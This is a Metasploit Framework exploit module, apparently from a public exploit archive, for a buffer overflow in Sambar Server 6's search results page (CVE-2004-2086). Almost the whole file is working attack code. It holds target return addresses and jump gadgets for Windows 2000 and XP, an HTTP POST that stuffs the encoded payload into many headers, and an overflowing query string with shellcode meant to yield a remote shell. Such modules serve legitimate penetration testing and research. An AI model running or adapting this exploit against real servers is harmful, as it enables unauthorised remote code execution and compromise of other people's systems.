Sambar Server 6 – Search Results Buffer Overflow (Metasploit)
## # $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Sambar 6 Search Results Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the /search/results.stm application that comes with Sambar 6. This code is a direct port of Andrew Griffiths's SMUDGE exploit, the only changes made were to the nops and payload. This exploit causes the service to die, whether you provided the correct target or not. }, 'Author' => [ 'hdm', 'Andrew Griffiths <andrewg [at] felinemenace.org>', 'patrick', # msf3 port ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8480 $', 'References' => [ [ 'CVE', '2004-2086' ], [ 'OSVDB', '5786' ], [ 'BID', '9607' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2000, # unlimited 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ # patrick tested OK 20100214 xpsp0 ['Windows 2000', { 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ], ['Windows XP', { 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn ], 'DisclosureDate' => 'Jun 21 2003')) register_options( [ Opt::RPORT(80), ],self.class) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") banner = sock.get_once disconnect if (banner =~ /Server:\sSAMBAR/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect buff = "POST /search/results.stm HTTP/1.1\r\n" buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n" buff << "User-Agent: #{payload.encoded}\r\n" buff << "Accept: #{payload.encoded}\r\n" buff << "Accept-Encoding: #{payload.encoded}\r\n" buff << "Accept-Language: #{payload.encoded}\r\n" buff << "Accept-Ranges: #{payload.encoded}\r\n" buff << "Referrer: #{payload.encoded}\r\n" buff << "Connection: Keep-Alive\r\n" buff <<"Pragma: no-cache\r\n" buff << "Content-Type: #{payload.encoded}\r\n" # we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff # int3's DO NOT WORK because it triggers an exception and causes the server to exit jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1" bigbuff = jmpcode + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode content = "style=page&spage=0&indexname=docs&query=#{bigbuff}" buff << "Content-Length: #{content.length}\r\n\r\n" + content print_status("Sending #{buff.length} bytes to remote host.") sock.put(buff) res = sock.get_once if (!res) print_status("Didn't get response, hoping for shell anyway...") else print_status("Got Response!") end handler disconnect end end |